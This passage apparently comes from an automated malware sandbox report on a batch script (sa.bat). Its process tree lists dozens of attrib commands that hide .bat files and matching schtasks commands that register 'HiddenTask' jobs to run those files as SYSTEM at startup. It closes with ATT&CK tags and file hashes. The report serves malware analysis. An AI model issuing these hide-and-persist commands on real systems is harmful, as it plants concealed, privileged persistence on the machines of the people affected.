- Views/modifies file attributes
PID:720
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask64" /tr "C:\hidden64.bat" /sc onstart /ru System2⤵PID:4840
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden65.bat2⤵
- Views/modifies file attributes
PID:1504
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask65" /tr "C:\hidden65.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4376
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden66.bat2⤵
- Views/modifies file attributes
PID:4488
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask66" /tr "C:\hidden66.bat" /sc onstart /ru System2⤵PID:532
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden67.bat2⤵PID:2688
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask67" /tr "C:\hidden67.bat" /sc onstart /ru System2⤵PID:3804
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden68.bat2⤵PID:2332
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask68" /tr "C:\hidden68.bat" /sc onstart /ru System2⤵PID:864
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden69.bat2⤵
- Views/modifies file attributes
PID:1328
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask69" /tr "C:\hidden69.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4976
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden70.bat2⤵PID:1696
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask70" /tr "C:\hidden70.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3904
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden71.bat2⤵
- Views/modifies file attributes
PID:2532
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask71" /tr "C:\hidden71.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1036
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden72.bat2⤵
- Views/modifies file attributes
PID:804
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask72" /tr "C:\hidden72.bat" /sc onstart /ru System2⤵PID:4912
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden73.bat2⤵
- Views/modifies file attributes
PID:4364
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask73" /tr "C:\hidden73.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1960
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden74.bat2⤵
- Views/modifies file attributes
PID:3452
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask74" /tr "C:\hidden74.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3832
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden75.bat2⤵PID:4484
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask75" /tr "C:\hidden75.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4536
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden76.bat2⤵
- Views/modifies file attributes
PID:3536
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask76" /tr "C:\hidden76.bat" /sc onstart /ru System2⤵PID:2992
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden77.bat2⤵
- Views/modifies file attributes
PID:4160
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask77" /tr "C:\hidden77.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:64
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden78.bat2⤵PID:3476
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask78" /tr "C:\hidden78.bat" /sc onstart /ru System2⤵PID:4732
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden79.bat2⤵PID:2560
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask79" /tr "C:\hidden79.bat" /sc onstart /ru System2⤵PID:2060
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden80.bat2⤵
- Views/modifies file attributes
PID:4656
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask80" /tr "C:\hidden80.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4444
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden81.bat2⤵PID:2432
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask81" /tr "C:\hidden81.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1532
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden82.bat2⤵
- Views/modifies file attributes
PID:2572
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask82" /tr "C:\hidden82.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2520
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden83.bat2⤵
- Views/modifies file attributes
PID:1132
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask83" /tr "C:\hidden83.bat" /sc onstart /ru System2⤵PID:3384
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden84.bat2⤵PID:1892
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask84" /tr "C:\hidden84.bat" /sc onstart /ru System2⤵PID:1412
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden85.bat2⤵
- Views/modifies file attributes
PID:2592
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask85" /tr "C:\hidden85.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:680
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden86.bat2⤵
- Views/modifies file attributes
PID:1928
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask86" /tr "C:\hidden86.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1632
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden87.bat2⤵
- Views/modifies file attributes
PID:2208
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask87" /tr "C:\hidden87.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1948
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden88.bat2⤵PID:3184
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask88" /tr "C:\hidden88.bat" /sc onstart /ru System2⤵PID:1608
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden89.bat2⤵
- Views/modifies file attributes
PID:4080
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask89" /tr "C:\hidden89.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4236
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden90.bat2⤵PID:5100
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask90" /tr "C:\hidden90.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2284
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden91.bat2⤵
- Views/modifies file attributes
PID:3172
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask91" /tr "C:\hidden91.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1592
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden92.bat2⤵
- Views/modifies file attributes
PID:4564
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask92" /tr "C:\hidden92.bat" /sc onstart /ru System2⤵PID:2240
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden93.bat2⤵
- Views/modifies file attributes
PID:60
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask93" /tr "C:\hidden93.bat" /sc onstart /ru System2⤵PID:3036
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden94.bat2⤵PID:3516
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask94" /tr "C:\hidden94.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3932
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden95.bat2⤵
- Views/modifies file attributes
PID:5116
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask95" /tr "C:\hidden95.bat" /sc onstart /ru System2⤵PID:3600
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden96.bat2⤵
- Views/modifies file attributes
PID:2028
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask96" /tr "C:\hidden96.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:752
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden97.bat2⤵PID:4036
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask97" /tr "C:\hidden97.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4828
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden98.bat2⤵PID:796
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask98" /tr "C:\hidden98.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4308
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden99.bat2⤵
- Views/modifies file attributes
PID:4024
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask99" /tr "C:\hidden99.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2168
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden100.bat2⤵PID:2960
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask100" /tr "C:\hidden100.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4368
-
-
C:\Windows\system32\attrib.exeattrib +h +s F:\hidden1.bat2⤵PID:684
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask1" /tr "F:\hidden1.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\sa.bat1⤵
- Process spawned unexpected child process
PID:3164
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
MD5fa632469970851bea61bc599f60804ab
SHA18c25b218fe42577c7f7da82a90f1c302aadb934e
SHA256fc54b3fa585ed5f0ba2e4bcb35fef5efab3047fda88faf4f929edf6906e96e8a
SHA512df7a1ff63ad4116f11728d7eb2cc11c7e4bba5bcc2f250885d491efa370be3eef2e320665bfae17856549640556d94b49d6bd063155966059c53854391e7c6af